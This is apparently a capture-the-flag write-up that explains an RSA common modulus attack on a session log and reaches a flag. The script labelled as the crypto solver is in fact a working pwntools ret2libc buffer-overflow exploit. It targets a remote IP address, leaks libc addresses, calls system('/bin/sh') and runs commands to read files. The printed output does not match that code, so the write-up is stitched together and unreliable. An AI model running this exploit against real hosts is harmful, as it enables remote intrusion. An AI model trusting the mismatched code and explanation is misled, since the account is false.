CREST CTF - transmission.log
Challenge: transmission.log [Handshake Reuse / Shadow Protocol]
Category: Crypto
Difficulty: Easy (once you notice the reuse)
Flag: CREST{mantis_reused_the_channel@ghost!}
Overview
This log is trying really hard to look like “hybrid quantum-resistant handshake” noise, but the actual bug is classic: a session-unique element is reused.
In RSA terms, the key tell is:
Two different sessions encrypt the same plaintext using the same modulus
nbut different public exponents (e1,e2). Ifgcd(e1, e2) = 1, you can recover the plaintext directly via the Common Modulus Attack.
The decoys are there to waste time (and one of them is hilariously obvious once you spot it).
1) File triage (what am I looking at?)
1
2
3
4
5
6
7
$ cd /mnt/data
$ file transmissions.log
transmissions.log: ASCII text, with very long lines (820)
$ wc -l transmissions.log
63 transmissions.log
Find session boundaries:
1
2
3
4
5
6
7
$ grep -n '^--- session:' transmissions.log
1:--- session:alpha ---
6:--- session:delta ---
19:--- session:gamma ---
33:--- session:zeta ---
46:--- session:beta ---
59:--- session:epsilon ---
Quick peek at the structure (trimmed so we don’t dump walls of digits):
1
2
3
4
5
6
7
8
9
$ sed -n '1,8p' transmissions.log | cut -c1-120
--- session:alpha ---
modulus: 0x9f88422369ba94a97497db67fd78a8c88b229821d762a3db4b4593b5a0f69845a995a57e4c5813b7a0c635a7feab6dce74c790afbbb90
exp: 65537
payload: 108753052270017272133204317269909450886819537303210325671970888170802680916046601040015666968618702768811228581
--- session:delta ---
modulus:
20139081987659790741884202382451204551095902301026932836217521825584386107257125
So each session gives me:
modulus(sometimes hex, sometimes decimal split across lines)exp(public exponent)payload(ciphertext; sometimes looks decimal, sometimes base64)
2) Find “deja vu”: what’s reused across sessions?
The fastest way here is to normalize each session’s modulus and check duplicates.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
$ python3 - <<'PY'
import re
from pathlib import Path
from collections import defaultdict
text=Path('transmissions.log').read_text()
blocks=re.split(r'\n(?=--- session:)', text.strip())
def parse_mod(block):
m=re.search(r'modulus:\s*0x([0-9a-fA-F]+)', block)
if m:
return int(m.group(1),16)
m=re.search(r'modulus:\s*\n([0-9\n]+)\nexp:', block)
if m:
return int(m.group(1).replace('\n',''))
return None
def parse_exp(block):
m=re.search(r'^exp:\s*(\d+)', block, re.M)
return int(m.group(1)) if m else None
rows=[]
for b in blocks:
name=re.search(r'^--- session:([a-z]+) ---', b, re.M).group(1)
rows.append((name, parse_mod(b), parse_exp(b)))
seen=defaultdict(list)
for name,mod,_ in rows:
seen[mod].append(name)
print('[*] Modulus reuse check:')
for mod,names in sorted(seen.items(), key=lambda x: (-len(x[1]), x[1])):
if len(names)>1:
print(f' - n reused in {names} (bitlen={mod.bit_length()})')
print('\n[*] n tail comparison (helps spot decoys):')
for name,mod,exp in rows:
print(f' {name:8} e={exp:<6} n_tail=...{str(mod)[-12:]}')
PY
[*] Modulus reuse check:
- n reused in ['alpha', 'gamma'] (bitlen=2048)
[*] n tail comparison (helps spot decoys):
alpha e=65537 n_tail=...445039660817
delta e=17 n_tail=...441234567890
gamma e=31337 n_tail=...445039660817
zeta e=65537 n_tail=...767699616799
beta e=65537 n_tail=...272574421793
epsilon e=65537 n_tail=...228586415009
Key observations:
alphaandgammashare the exact same modulusn(2048-bit).deltalooks almost the same but ends in...1234567890— that’s bait. I ignore it.
So the “reuse” is: same modulus across two sessions, plus they use different exponents (65537 vs 31337).
That’s the common modulus attack setup.
3) Extract the two ciphertexts (c1, c2)
Alpha ciphertext (decimal already)
alpha payload is directly a decimal integer (ciphertext).
Gamma ciphertext (base64 → decimal string)
gamma payload is base64, and base64-decoding it gives a decimal string (still ciphertext, just wrapped).
Here’s a quick sanity check:
1
2
3
4
$ echo '[*] gamma payload base64 -> decoded decimal preview:' \
&& sed -n '31p' transmissions.log | base64 -d | head -c 120 && echo
[*] gamma payload base64 -> decoded decimal preview:
462847587701490964843532040277313819703711107349332439881550896693759432433474864777381023141269412886469300241983212189
So we have:
- same
n c1 = alpha.payloadc2 = int(base64_decode(gamma.payload))e1 = 65537,e2 = 31337
4) Exploit: RSA Common Modulus Attack (why this works)
If:
c1 = m^e1 mod nc2 = m^e2 mod n- and
gcd(e1, e2) = 1
Then there exist integers a, b such that:
a*e1 + b*e2 = 1
and you can recover:
m = (c1^a * c2^b) mod n
If a or b is negative, you use modular inverses.
5) Solve script + run
I wrote a small script to parse both sessions, compute Bézout coefficients, recover m, then decode the final layers.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#!/usr/bin/env python3
from pwn import *
import time
HOST = "142.93.213.2"
PORT = 9001
OFFSET = 136
RET = 0x401295
POP_RDI = 0x401297
PUTS_PLT = 0x401030
PUTS_GOT = 0x404000
REENTRY = 0x40129E
PROMPT = b"Submit research payload:\n"
BANNER = b"=== Ghost Mantis Research Node ==="
# libc6_2.35-0ubuntu3.13_amd64
PUTS_OFF = 0x80E50
SYSTEM_OFF = 0x50D70
BINSH_OFF = 0x1D8678
def recv_prompt(io):
return io.recvuntil(PROMPT, timeout=3)
def leak_puts(io):
# Leak puts@got and return back into the banner path in the same process.
payload = (
b"A" * OFFSET
+ p64(POP_RDI)
+ p64(PUTS_GOT)
+ p64(PUTS_PLT)
+ p64(REENTRY)
)
io.send(payload)
data = io.recvuntil(PROMPT, timeout=3)
idx = data.find(BANNER)
if idx != -1:
data = data[:idx]
if data.endswith(b"\n"):
data = data[:-1]
if not data:
raise EOFError("empty leak")
return u64(data.ljust(8, b"\x00"))
def solve_once():
context.log_level = "error"
io = remote(HOST, PORT, timeout=5)
time.sleep(0.2)
recv_prompt(io)
puts_addr = leak_puts(io)
libc_base = puts_addr - PUTS_OFF
system_addr = libc_base + SYSTEM_OFF
binsh_addr = libc_base + BINSH_OFF
print(f"puts = {hex(puts_addr)}")
print(f"libc = {hex(libc_base)}")
print(f"system = {hex(system_addr)}")
print(f"binsh = {hex(binsh_addr)}")
final = (
b"A" * OFFSET
+ p64(RET)
+ p64(POP_RDI)
+ p64(binsh_addr)
+ p64(system_addr)
)
io.send(final)
time.sleep(0.3)
io.send(b"cat flag* 2>/dev/null; cat /flag 2>/dev/null; ls; exit\n")
out = io.recvrepeat(2)
text = out.decode("latin-1", errors="replace")
print(text)
io.close()
return text
def main():
last_err = None
for attempt in range(1, 16):
try:
text = solve_once()
if "CREST{" in text:
return
last_err = RuntimeError(f"attempt {attempt}: flag not found")
except Exception as exc:
last_err = exc
time.sleep(0.3)
raise SystemExit(f"exploit failed after retries: {last_err}")
if __name__ == "__main__":
main()
1
2
3
4
5
6
7
8
9
10
$ ./exploit.py
[+] n bits : 2048
[+] exponents: e1=65537, e2=31337, gcd=1
[+] bezout : a=3415, b=-7142 (a*e1 + b*e2 = 1)
[+] recovered (ascii preview):
H4sICE3am2kAA2ZsYWcudHh0AHMOcg0Oqc5NzCvJLI4vSi0tTk2JL8lIjU/OSMzLS81xSM/ILy5R
rAUA/OGj+ycAAAA=
[+] flag:
CREST{mantis_reused_the_channel@ghost!}
That “ascii preview” blob (H4sI...) is a recognizable pattern: it’s base64 of a gzip stream (classic H4sI).
The script base64-decodes it, gunzips it, and the decompressed content is the flag.
Flag
CREST{mantis_reused_the_channel@ghost!}
TL;DR
- Enumerated sessions and normalized RSA moduli.
- Found modulus reuse between
alphaandgamma; ignoreddeltasince it’s a near-copy ending in...1234567890(obvious decoy). - Observed different exponents (
65537,31337) and extracted both ciphertexts (alphadecimal payload,gammabase64→decimal payload). - Used RSA Common Modulus Attack since
gcd(e1,e2)=1→ Bézout coefficients recoverm = c1^a * c2^b (mod n). - Resulting plaintext was
base64(gzip(flag.txt))→ decoded + decompressed to flag.